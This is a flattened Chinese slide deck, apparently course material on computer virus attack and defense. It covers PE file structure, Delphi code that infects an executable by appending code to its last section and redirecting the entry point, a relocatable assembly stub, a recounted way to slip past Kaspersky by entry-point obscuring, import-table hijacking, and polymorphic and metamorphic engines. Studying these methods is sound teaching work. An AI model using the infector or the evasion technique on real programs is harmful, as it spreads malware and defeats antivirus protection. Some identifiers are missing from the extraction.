资源描述
,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,信息对抗技术,病毒攻防,什么是病毒,病毒是什么?病毒就是一个具有一定生物病毒特性,可以进行传播、感染的程序。,依赖的环境,1 计算机体系结构依赖,感染apple II的elk cloner就不能感染ibm的pc,采用pseuodformat的方式产生了intel体系上,跨越windows和linux的病毒mental driller。,3 操作系统依赖,因为操作系统上,机制发上了变化。直接设备访问,无法发生在NT上,而可以发生在DOS中。Pe格式的文件在dos下就不支持。用结构化异常陷入内核的技巧就只能在win98下使用。用结构化异常将错误处理定向到栈的技术就不能在windows server 2003上使用。,4 文件系统依赖,对于不关心文件存储格式的大多数病毒而言,文件系统的差异没有关系。而有些病毒非常依赖实际的文件系统。,簇病毒,,整个硬盘上只有一个病毒拷贝。,NTFS流病毒,,为了支持APPLE的分层文件系统,文件可以包含多个流。,NTFS压缩病毒,。利用其压缩特性对宿主和病毒程序进行压缩。,ISO镜像文件病毒,。当AUTORUN.INF被执行时,运行被感染的可执行文件。Zombie在2002年开发的。,5 文件格式依赖,dos下的com病毒,,这是一种没有特殊格式的二进制文件,dos下的exe病毒。,16位windows和os2上的NE格式的病毒,os2上的LX病毒,。,WIN32上的PE病毒,:,动态链接库病毒,,如Happy99通过将钩子注入到wssock32.dll来挂接connet和send从而监控邮件的访问。,Native 病毒,访问native api的病毒,UNIX上的ELF病毒,,问题是不同的UNIX间的二进制文件缺乏兼容性,难以交叉传染,设备驱动程序病毒,,在WIN9X下感染VXD文件,而NT上感染PE文件。Infis就是感染nt的病毒,在内核下感染文件。另外一个是w32/kick病毒。一般他们主要通过挂接中断INT 2E来感染文件,6 解释环境依赖,大的应用程序都会提供用户可编程的支持。比如,OFFICE。而为了灵活性,有许多解释型脚本语言,例如PYTHON。总之,解释环境渗透到许多方面。,依赖解释环境本身的平台跨越性,病毒也获得了二进制形式下难以获取的平台跨越能力。,微软产品中的宏病毒,IBM系统中的REXX病毒,DEC/VMS上的DCL病毒,UNIX上的SHELL脚本(csh,ksh,bash)一般是通过脚本来安装自己。,Windows下的vbscript病毒,批处理病毒,mIRC,PIRC脚本中的即时消息病毒,Superlogo病毒,Jscirpt病毒,Perl病毒,Python病毒,TCL病毒,PHP病毒,MapInfo病毒,Windows帮助文件病毒。,11源代码依赖,当被感染的源文件编译执行后,病毒将寻找其他的c源文件并感染他们。病毒源代码通常被定义为一个字符串。Subit使用一个拼接的字符串定义其源代码,源代码木马 只感染源代码的思想来自ken Thomson,自己能打印自己源代码的程序。并给了一个插入木马的例子。当开源代码流行后,这个问题会更加明显。,病毒感染技术,1 引导区病毒,感染引导区,从而得以执行的病毒。,在软盘的第一个扇区,硬盘的0号磁头,0号磁道,1号扇区内,有一个MBR(master boot record)主引导纪录。其开始部分存放了一段很小的导入代码(boot strap loader),以及分区表(PT)。代码最先执行,并用pt定位活动分区,从中读出第一个逻辑扇区作为引导扇区,该扇区的代码是操作系统相关的。MBR是512个字节,实验以下启动代码,1 安装vmware虚拟机,2 选中软盘设定,并双击,3 在所指处填写上一个新的软盘文件的名字,并用create生成一个新的软盘文件,4 将前面的汇编代码编译成bin方式的文件。可以用nasm,或fasm。编译。,5将生成的bin文件的内容拷贝到第3步生成的软盘文件中。,6 启动虚拟机,将在屏幕上打印hello os,主引导区感染技术,1 替换引导装入程序感染MBR,保存的原拷贝可能在中间扇区,常常也在最后一个扇区,Mbr,PT,Virus,PT,Saved mbr,文件感染病毒,病毒的关键,病毒要感染执行文件,然后再特定的时期执行自己的工作。下面是其面临的几个关键问题,这里指示了几个关键的步骤,执行自己的工作,必然要使用操作系统的资源,那么就需要调用API.,病毒是我们构造的代码,而其加载在空间的位置不确定,但代码中要访问诸如字符串一样的资源,所以面临重定位问题。,感染文件,必然要修改pe格式,所以会操控pe格式的文件(相对win32的程序而言),关于重定位问题,我们在溢出攻击中已经讨论。,关于API调用的问题,我们在溢出攻击中已经讨论,剩下的问题是,如何感染执行文件,并在该文件执行时执行病毒代码体。,和溢出攻击相似,都是一段异体代码在正常的程序体内执行。不同的是,溢出攻击是在正常程序运行后侵入。而病毒是修改程序的文件,并得以执行。溢出攻击的异体代码生存期是被入侵进程的生存期,而病毒将附着在程序的文件上得以长存。,如何加载到内存呢?我们必须附着到别人的exe上,这样就可以了吗?,好,我们就把病毒代码的字节流写入到执行文件的尾部。,执行文件,病毒代码,添加到尾部,简单这样做了后,我们并没有将尾部附加的内容加载到内存。,可以做简单的实验,我们可以用软件比如winhex扫描0-2GB的内存空间,寻找病毒代码对应的字节流。结果没有。,分析,就算你附加了一部分代码到已经存在的文件的尾部,凭什么系统给你加载到内存?除非你告诉系统。你想,随便给个文件,系统就会将他当作exe执行?你将一个word文件后缀改成exe实验一下。可见执行文件必须有格式,这个格式告诉系统加载那些部分,并且将哪个地址作为执行的入口地址。这是什么格式呢?这些格式可以被病毒利用吗?,dos,header,64,字节,Not,running,in,dos,Signature,Option,header,Section1 header,Section2,header,section1,section2,固定头部,Dos 头部,NT头部,节表,节区,代码段,数据段,Dos 头部,见后页,该部分兼容以前dos的程序,TImage_Dos_Header=record,e_magic:Word;/Magic number,e_cblp:Word;/Bytes on last page of file,e_cp:Word;/Pages in file,e_crlc:Word;/Relocations,e_cparhdr:Word;/Size of header in paragraphs,e_minalloc:Word;/Minimum extra paragraphs needed,e_maxalloc:Word;/Maximum extra paragraphs needed,e_ss:Word;/Initial(relative)SS value,e_sp:Word;/Initial SP value,e_csum:Word;/Checksum,e_ip:Word;/Initial IP value,e_cs:Word;/Initial(relative)CS value,e_lfarlc:Word;/of relocation table,e_ovno:Word;/Overlay number,e_res:array0.4-1 of Word;/Reserved words,e_oemid:Word;/OEM identifier(for e_oeminfo),e_oeminfo:Word;/OEM information;e_oemid specific,e_res2:array0.10-1 of Word;/Reserved words,e_lfanew:Cardinal;/of new exe header,end;,该头部的第一个字段e_magic就是MZ。,最后一个字段e_lfanew是偏移量,就是从文件头部到NT头部的偏移量,包括了dos头部。NT头部处于dos头部的后面。,NT头部,TImage_NT_Headers32=record,Signature:Cardinal;,:TImage_;,OptionalHeader:TImage_Optional_Header32;,end;,Signature字段头两个字节是PE,表明是pe格式的文件。我们判断一个文件是否是pe格式,只要先判断文件头2字节是否是MZ,然后判断nt头部的signature是否是PE.,TImage_=record,Machine:Word;,NumberOfSections:Word;,TimeDateStamp:Cardinal;,PointerToSymbolTable:Cardinal;,NumberOfSymbols:Cardinal;,SizeOfOptionalHeader:Word;,Characteristics:Word;,end;,TImage_几个重要字段,NumberOfSections指出程序中有几个节,SizeOfOptionalHeader 指出后面的TImage_Optional_Header的长度。,Characteristics 文件的性质,例如:文件中是否存在重定位信息,文件是否可执行等。,Option Header,TImage_Optional_Header32=record,/,/Standard fields.,/,Magic:Word;,MajorLinkerVersion:Byte;,MinorLinkerVersion:Byte;,SizeOfCode:Cardinal;,SizeOfInitializedData:Cardinal;,SizeOfUninitializedData:Cardinal;,AddressOfEntryPoint:Cardinal;,BaseOfCode:Cardinal;,BaseOfData:Cardinal;,/,/NT additional fields.,/,ImageBase:Cardinal;,SectionAlignment:Cardinal;,:Cardinal;,MajorOperatingSystemVersion:Word;,MinorOperatingSystemVersion:Word;,MajorImageVersion:Word;,MinorImageVersion:Word;,MajorSubsystemVersion:Word;,MinorSubsystemVersion:Word;,Win32VersionValue:Cardinal;,SizeOfImage:Cardinal;,SizeOfHeaders:Cardinal;,CheckSum:Cardinal;,Subsystem:Word;,DllCharacteristics:Word;,SizeOfStackReserve:Cardinal;,SizeOfStackCommit:Cardinal;,SizeOfHeapReserve:Cardinal;,SizeOfHeapCommit:Cardinal;,LoaderFlags:Cardinal;,NumberOfRvaAndSizes:Cardinal;,DataDirectory:array0.IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1 of TImage_Data_Directory;,end;,相对虚地址 RVA,文件在磁盘中的对齐策略和内存中的对齐策略不同。,什么叫对齐呢?就是求上整。例如代码段有4095个字节,但如果要求以4096(4k)字节对齐,那么系统会分配4096个字节给代码段。其实,即使代码段只有一个字节,但用4k对齐,也会分配4k内存给代码段。,磁盘上的对齐大小和内存中的对齐大小单位不同。内存是4k,而硬盘上是512字节。也就是说pe文件中的节加载到内存中占用的空间很可能和磁盘中的大小不一样。,为了表示在内存中一段字节流的位置,windows引入了相对虚地址RVA的概念。就是加载到内存后,相对于整个pe文件首部的偏移量(记住,不是硬盘上,因为两者对齐策略不同)。,.text,.data,.,.text,填充,.data,.,硬盘上的布局,内存中的布局,Image,base,RVA,RVA,在pe文件中表示一个地址用RVA。,Option header中有一个段imagebase它指出了整个pe文件加载到内存中的起始地址(线性地址)。,Imagebase+RVA就是加载到内存后的绝对地址(线性地址)。例如.text节的RVA是1000h,imagebase是40000h,则加载到内存后.text节的起始地址是41000h,Option header中有一个AddressOfEntryPoint段,指出了程序的入口地址。这是RVA,SizeOfImage指出了加载到内存后pe文件占用空间的大小,SectionAlignment内存中对齐的单位,磁盘上对齐的单位,DataDirectory,这是一个快速定位节区的数组,其元素TImage_Data_Directory结构体,包括节的入口RVA,和节的有效内容的大小两个字段。,回到病毒加载执行的问题,如何让病毒被加载?,如何让病毒被执行?,我们先来看第一个问题,如何被加载,Pe格式的文件是由节组成的,而描述节的特征的是节表项。看看节表项的构成吧,TImage_Section_Header=record,Name:array0.IMAGE_SIZEOF_SHORT_NAME-1 of Char;节名,PhyAddr_VirSize:Cardinal;实际长度,VirtualAddress:Cardinal;RVA;,SizeOfRawData:Cardinal;用文件对齐粒度对齐后的节大小,PointerToRawData:Cardinal;节在磁盘中的偏移,不是RVA,PointerToRelocations:Cardinal;,PointerToLinenumbers:Cardinal;,NumberOfRelocations:Word;,NumberOfLinenumbers:Word;,Characteristics:Cardinal;,end;,这几个字段和节的加载有关PhyAddr_VirSize:Cardinal;节有效长度,VirtualAddress:Cardinal;节在,内存,的起始地址RVA;,SizeOfRawData:Cardinal;用文件对齐粒度对齐后的节大小,PointerToRawData:cardinal;节在,磁盘中,的偏移,不是RVA,系统会将节加载到imagebase+VirtualAddress的地方,会从硬盘上离文件起始PointerToRawData偏移的地方读入PhyAddr_VirSize有效内容。,如果病毒附加在最后一个节,只要修改最后一个节的以上相关属性就可以修改系统加载pe文件的行为了。,这里有两种可能:,1)病毒的大小,SizeOfRawData-PhyAddr_VirSize.那么padding部分放不下,只有增加一部分。但因为对齐关系,只能以磁盘对齐单位的倍数增长,padding,PhyAddr_VirSize,SizeOfRawData,virus,针对这两种情况,我们需要修改节表的相关数据,1)不增加节的长度,PhyAddr_VirSize=PhyAddr_VirSize+virus_size,2)增加节的长度,PhyAddr_VirSize=PhyAddr_VirSize+virus_size,SizeOfRawData=按磁盘对齐取上整数(PhyAddr_VirSize+virus_size),如何找到最后一个节呢?,从TImage_ 中NumberOfSections找到总共有几个节,然后寻找最后一个节表项。,如何找到最后一个节表项呢?节表是一个放在option header 后的数组,那么从文件头部偏移dosheader,然后偏移option header后就是节表的起始地址:,ImageBase+DosHeader.e_lfanew+SizeOf(,TImage_NT_Headers),dos,header,64,字节,Not,running,in,dos,Signature,Option,header,Section1 header,Section2,header,找到节表的起始地址后,就可以用sizeof(,TImage_Section_Header,),*(,NumberOfSections-1,)+节表起始,地址,得到最后一个节表项的入口地址,除了修改节表的数据,还要修改option header中的描述整个文件参数的字段,SizeOfImage=最后节.VirtualAddress+修改后最后节.,PhyAddr_VirSize,这样就保证了附着在最后一个节上的病毒代码可以加载到内存中。,运行病毒代码,加载了就可以了吗?还需要运行,需要从病毒的入口执行。,先不看这个问题,我们想想正常的执行程序是如何从main开始执行的呢?也就是正常的程序的入口地址(可以简单想象成main的地址)是如何告诉系统的?如果系统知道该地址,简单地call该地址就可以了。那么,pe文件应该有对应的参数。它是?,Option header中的AddressOfEntryPoint字段,该字段是入口地址的RVA。只要我们将该参数修改成病毒的起始地址RVA,那么系统就会在启动后,调用我们的病毒,然后病毒执行后负责跳回原来的AddressOfEntryPoint就可以保证原来的程序体正常执行。,AddressOfEntryPoint,virus,Normal,program,好了,来试验一下感染文件,var,F:TPEDecoder;,I:Integer;,WriteOffset,CodeSize,OldVirSize,OldRawSize,NewRawSize:Integer;,LastSectionPtr:PImage_Section_Header;,Code:Pointer;,WriteStart:PChar;,NeedAllocateNewSpace:Boolean;,FS:T;,:Integer;,Padding:Char;,begin,F:=TPEDecoder.Create();,try,F.Active:=True;,Code:=GetInfectingCode(F.OptionalHeader.ImageBase+F.OptionalHeader.AddressOfEntryPoint,CodeSize);,LastSectionPtr:=F.SectionPtrsF.SectionCount-1;,OldRawSize:=LastSectionPtr.SizeOfRawData;,OldVirSize:=LastSectionPtr.PhyAddr_VirSize;,:=F.OptionalHeader.;,LastSectionPtr.PhyAddr_VirSize:=LastSectionPtr.PhyAddr_VirSize+CodeSize;,NewRawSize:=UpperInt(LastSectionPtr.PhyAddr_VirSize,);,WriteOffset:=LastSectionPtr.PointerToRawData+OldVirSize;,LastSectionPtr.Characteristics:=LastSectionPtr.Characteristics or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE;/IMAGE_SCN_MEM_EXECUTE seems to make nosense.,NeedAllocateNewSpace:=False;,F.NTHeadersPtr.OptionalHeader.DataDirectoryIMAGE_DIRECTORY_ENTRY_RESOURCE.Size:=LastSectionPtr.PhyAddr_VirSize;,F.NTHeadersPtr.OptionalHeader.AddressOfEntryPoint:=LastSectionPtr.VirtualAddress+OldVirSize;,F.NTHeadersPtr.OptionalHeader.SizeOfImage:=LastSectionPtr.VirtualAddress+OldVirSize+CodeSize;,if NewRawSize=OldRawSize then,begin,WriteStart:=F.+WriteOffset;,Move(Pchar(Code)0,WriteStart,CodeSize);,end,else,begin,LastSectionPtr.SizeOfRawData:=NewRawSize;,:=NewRawSize-OldRawSize;,NeedAllocateNewSpace:=True;,end;,finally,F.Free;,end;,if NeedAllocateNewSpace then,begin,FS:=T(,fmOpenReadWrite);,try,FS.Seek(0,soFromEnd);,Padding:=#0;,for I:=0 to -1 do,FS.Write(Padding,1);,FS.Seek(WriteOffset,soFromBeginning);,FS.Write(PChar(Code)0,CodeSize);,finally,FS.Free;,end;,end;,下面是近似的病毒代码,我们这个代码本身没有感染能力,只是在运行后将显示一个对话框,hello。它也没有实现查找kernel并查找api的能力,而是将MessageBoxA的地址死写入一个地方。不过这个例子体现了重定位代码的功能,并在结束时跳回被感染程序的正常入口点。,CodeStart:,asm,call start,LMsgBox:,dd 0,oldentry:,dd 0,Caption:,db hh,0,Text:,db hello,0,start:,pop eax,push ebp /protect ebp,mov ebp,eax,push 0 /style,add eax,8,push eax/ebp+8 caption,add eax,3,push eax /ebp+$b text,push 0 /handle,if null,has not owner window,call ebp /call messagebox,mov eax,ebp+4,pop ebp /resume ebp,jmp eax /jmp back to oldentry,end;,CodeEnd:,运行这个程序吧。在我的例子中给了两个执行程序,一个是可以在最后一个节写入病毒,也就是说大小不变。另一个是无法写入,必须增加一个磁盘页面的大小512字节。虽然我的代码并不需要那么多。看看执行结果吧。,如果你安装了卡巴斯基,你会发现对test.exe感染后,运行test.exe会正常,而对另外一个程序感染后,卡巴斯基要报告这个文件被病毒感染。为什么?,来吧,攻防对抗开始了。,因为我修改了入口点,而这个点偏离了正常代码段很远(我将他附着在最后一个段,代码段是第一个段)。所以被认为是病毒,而第一个test.exe虽然附着在导入表的节中,但是由于偏移量不是很大,所以没有告警。可见卡巴斯基是判定如果入口的地址的偏差大于经验阈值后就告警。那么我们怎么绕过它呢?,尝试1 不修改入口地址,但是修改入口地址的代码,修改成jmp 病毒代码,你会发现告警依旧。,猜测可能防毒软件分析了代码,发现他一来就jmp,而偏移量大于经验值,告警!,那我加入几个nop命令看能否阻止卡巴斯基分析我的jmp呢?,Nop,Nop,Nop,Jmp 病毒入口,不幸被检测了。那是否是开始有nop所以卡巴斯基就不断检测,直到发现jmp呢?,有可能,那么我们不修改原程序前面的指令,只是在合适的位置加入jmp。,可是,还是被检测了。,难道卡巴斯基一直检查我的指令直到所以被检查完?,让我们看看被感染的文件,其入口代码到底是怎么样,这些代码有很多call指令,当然其偏移范围是正常的。难道防毒软件要分析其每一个指令?不可能,从效率讲。,请注意上一页的最后一行是call halt退出。在之前将进入windows消息死循环。可以推定,至少不应该检测这些消息循环,否则相当于实时监测了整个程序的每一条指令(因为windows gui程序就是消息推动的)。那么我们将jmp命令替换call halt.印证我们的想法。,Ok,卡巴斯基不告警了。,但是要分析退出调用太难了。怎么办?我们再来猜想,到底卡巴斯基要分析到那个地方才停止分析呢?,所有的函数调用都是call.没有区别。难道他认为一个正常的call之后,就万事大吉?好,我们将jmp指令加到第一个call指令的后面。,Ok,卡巴斯基不告警了!,我们能做什么?利用这个发现。我们只要从入口开始分析指令,在第一个call指令的后面用jmp填写,跳到我们的病毒。,还有什么问题?问题是病毒执行完毕后,应该跳回jmp覆盖的指令处,并在跳回前将覆盖的部分还原。,请参考我的代码,这是我们自己探测的一种绕过卡巴斯基的方法。这就是epo(entry point obscuring),入口点模糊技术。骗骗防毒软件。,这里有一个来自GriYo/29A的入口点模糊技术。通过修改静态导入的函数的调用指令,指向病毒程序。,导入表替换技术启动病毒,导入表是加载器提供的一种机制,它为程序提供程序需要的其它dll的函数的入口地址。,动态链接库有隐式和显式两种加载方法。静态方法是程序被加载运行时,loader帮程序将所需dll加载并提供给程序所需dll的函数的入口地址。,导入表,Dll1的导入表描述符,Dll2的导入表描述符,Dll3的导入表描述符,original first thunk,;用于寻找名字;可无,Timestamp;加载后有效,Forwarder;可无,first thunk;thunk,表的入口,该表加载后每一项提供函数的地址,导入函数f1的名字串的RVA,导入函数f2的名字串的RVA,Original first thunk,“f1”0,“f2”0,导入函数f1的名字串的RVA,导入函数f2的名字串的RVA,first thunk,加载后该项,变为f1的地址,section.idata import data readable writeable,dd RVA original_first_thunk_usr,0,0,RVA usr_dll,RVA usr_first_thunk,dd 0,0,0,RVA kernel_dll,RVA kernel_first_thunk,dd 0,0,0,0,0;all 0s represent terminated,usr_dll db user32.dll,0,kernel_dll db kernel32.dll,0,;original first thunk,this is optional,i ignore this part of kernel32.,original_first_thunk_usr:,orgMessageBox dd RVA _impByName_MessageBox,dd 0 ;end of the thunks,;first thunk data,usr_first_thunk:,MessageBox dd RVA _impByName_MessageBox,dd 0 ;end of the thunks,kernel_first_thunk:,ExitProcess dd RVA _impByName_ExitProcess,dd 0 ;end of the thunks,;import by name,_impByName_MessageBox dw 0;import by ordinal,not used,db MessageBoxA,0,_impByName_ExitProcess dw 0,db ExitProcess,0,可用tools目录下,我写的easyfasm集成开发环境(集成了fasm的开发)来打开codevirustesthellogui(IAT,EAT),用,main file打开。,然后点击project|build可编译,用project|run可运行,替换iat,在程序中调用f1时,就是call 0 x1234,这个0 x1234就是firstthunk中对应项目的入口地址,如果我们将文件中该位置填写成我们病毒的加载到内存后的地址(怎么计算?),那么调用f1时就调用我们的了。但加载后该内容将被loader替换为f1的真实地址,怎么办?,构造一个新的first thunk表ft2,将IAT描述符中的first thunk修改为ft2的RVA,那么loader将填写该表,而不会填写原first thunk表,当病毒加载后,再将ft2中的内容回写到原first thunk表中,请参考E:mydocs教学Attack_DefensecodevirusinfectLastSection工程中IAT replace infect按钮点击对应的代码,隐藏自己,多态病毒,简单的隐藏,我们象溢出攻击一样,将代码加密,只要保证密钥每次不同,那么代码就每次不同,难以用特征值判定。,但是,加密代码本身也有特征值,需要变化。,一个简单的poly引擎应该做到:,1、解密代码可以随机选取寄存器,2、可以随机调换先后顺序无关指令的顺序,3、可以替换形式不同但功能相同的指令,4、可以在解密代码的指令之间随机地插入垃圾指令,上面是最基本的要求,当然还可以:,5、使用一些平台相关技术,如SEH等,6、使用一些未公开指令,7、可以随机插入反静态反汇编指令,(来自pker的病毒入门教材),进一步隐藏,变形(Metamorphism),变形是在多态的基础上发展起来的。传统的poly只是把解密代码随机化,而病毒代码仅仅是通过一个加密算法加密。而meta的思想是对整个病毒代码进行变形。一般的meta引擎主,要有这么几个部分:,1)反汇编器(Disassembler):把病毒代码(机器码)反汇编成引擎可以识别的伪,代码(pseudo-code。具体的代码形式根据作者的喜好、习惯而定:P),,2)收缩器(Shrinker):对反汇编后的代码进行分析,简化代码(如把ADD EAX,10H,/ADD EAX,12H合并为一句MOV EAX,22H),删除上一代产生的垃圾代码等。这是整,个引擎中最为复杂的部分,也正是因为有这个部分的存在才使得meta变得异常庞,大。其实在很多meta引擎中都没有这个部分(由于其复杂性),使得病毒代码无,限膨胀,最终变得不可用。,3)代码变换器(Permutator):这个部分复杂指令的变换,如改变指令顺序、完成,指令替换、改变寄存器的使用等。,4)膨胀器(Expander):这个过程是收缩器的反过程,完成诸如拆分指令、生成垃,圾代码等工作。,5)汇编器(Assembler):这是引擎的最后一个部分,它负责把处理完成的伪代码重,新汇编成机器可以识别的机器码。,(来自pker的病毒入门教材),
展开阅读全文